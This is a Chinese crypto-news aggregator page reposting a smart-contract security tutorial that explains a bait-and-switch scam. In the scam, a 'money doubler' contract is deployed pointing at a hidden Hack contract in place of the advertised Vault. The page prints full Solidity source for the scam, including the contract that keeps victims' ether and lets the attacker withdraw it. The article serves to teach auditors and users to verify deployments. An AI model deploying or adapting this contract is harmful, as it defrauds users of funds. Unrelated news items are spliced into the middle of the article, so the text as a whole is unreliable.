以太坊價格 以太坊價格
Ctrl+D 以太坊價格
ads
首頁 > 火幣APP > Info

QUO:智能合約安全審計入門篇 —— 移花接木

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

Arbitrum鏈上智能合約創建總量突破200萬:金色財經報道,Dune數據顯示,以太坊Layer2網絡Arbitrum鏈上智能合約創建總量突破200萬。截至目前為2,001,535個,累計鏈上ERC-20資產總價值超過85億美元。

歷史數據顯示,Arbitrum鏈上智能合約創建總量于2022年11月底突破100萬,這意味著該指標在不到五個月時間內翻了一番。[2023/4/10 13:54:45]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

1inch已支持直接從Rocket Pool智能合約鑄造或銷毀rETH:11月1日消息,聚合交易協議1inch針對Rocket Pool的rETH兌換進行了優化,將Rocket Pool的質押合約直接集成到1inch聚合協議中,允許直接從Rocket Pool的智能合約鑄造或銷毀rETH。也就是說,用戶不再需要手動將rETH的市場價格與直接從Rocket Pool鑄造/贖回它的成本進行比較,1inch將通過使用這兩種來源的任意組合來提供較優價格。[2022/11/1 12:05:38]

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

CyberConnect與跨鏈智能合約平臺Clover Finance達成合作:2月27日消息,Web3社交圖譜協議CyberConnect與跨鏈智能合約平臺Clover Finance達成合作,并集成Clover Wallet。用戶可以選擇使用Clover Wallet賬戶登錄CyberConnect。在未來,雙方將共同致力于實現Sakura網絡的社交功能。[2022/2/27 10:18:48]

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

迪新財訊

Chainlink預言機

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

Mark Cuban 旗下公司正在招聘 Solidity 智能合約開發者:根據一份公開的招聘表單顯示,達拉斯獨行俠老板 Mark Cuban 旗下公司正在招聘一名以太坊原生的智能合約開發者,需要擁有全面的技能和 Solidity 的專業知識,并表示\"Mark Cuban 熱衷于在以太坊區塊鏈上建立許多不同的令人興奮的項目\"。申請者需要提交曾經開發過的最佳智能合約的地址,以及郵箱地址。[2021/4/6 19:50:37]

聲音 | 比特幣核心開發人員:比特幣是最成功的智能合約平臺:據Ambcrypto消息,比特幣核心開發人員Peter Todd表示,比特幣作為智能合約平臺是最有效的,因為它非常簡單。EOS平臺在共識模型中包含了所有內容,這實際上太復雜了。[2019/3/12]

Tags:BSPNBSQUOMAKEBSPTnbs幣未來價格QUON價格Moon Maker Protocol

火幣APP
BAS:加密巨頭為何紛紛布局Layer2?一文解讀Base和Linea的誕生、機制和運營策略

原文:《解讀 Base 和 Linea:為何 Coinbase、ConsenSys 等加密巨頭紛紛布局 Layer2?》作者:餅干.

1900/1/1 0:00:00
Polygon:金色Web3.0日報 | 香港金管局:數碼港元先導計劃啟動

DeFi數據 1、DeFi代幣總市值:471.01億美元 DeFi總市值及前十代幣 數據來源:coingecko2、過去24小時去中心化交易所的交易量15.

1900/1/1 0:00:00
POLY:五大模塊化區塊鏈的體系結構、共識機制等探析

作者:Naz 比較模塊化區塊鏈的線程 探索它們的體系結構、可擴展性解決方案、共識機制和互操作性特性.

1900/1/1 0:00:00
BSP:全面解讀MEV-Boost工作原理及Ethereum分叉選擇規則

作者:Georgios Konstantopoulos, Mike Neuder4 月 2 日.

1900/1/1 0:00:00
BSP:Binance Research:萬字詳談BRC-20的原理、現狀和未來

作者:Binance Research 什么是序數和銘文? BRC-20 代幣適用于哪些領域?BRC-20 的市場是什么樣的?使用 BRC-20 代幣與使用其他標準的代幣相比如何?BRC-20.

1900/1/1 0:00:00
NBS:稀有聰是什么?代表項目有哪些?

稀有聰概念并不是最近才出現的,只不過相比于 BRC 20 的火爆,它并沒有及時出圈.

1900/1/1 0:00:00
ads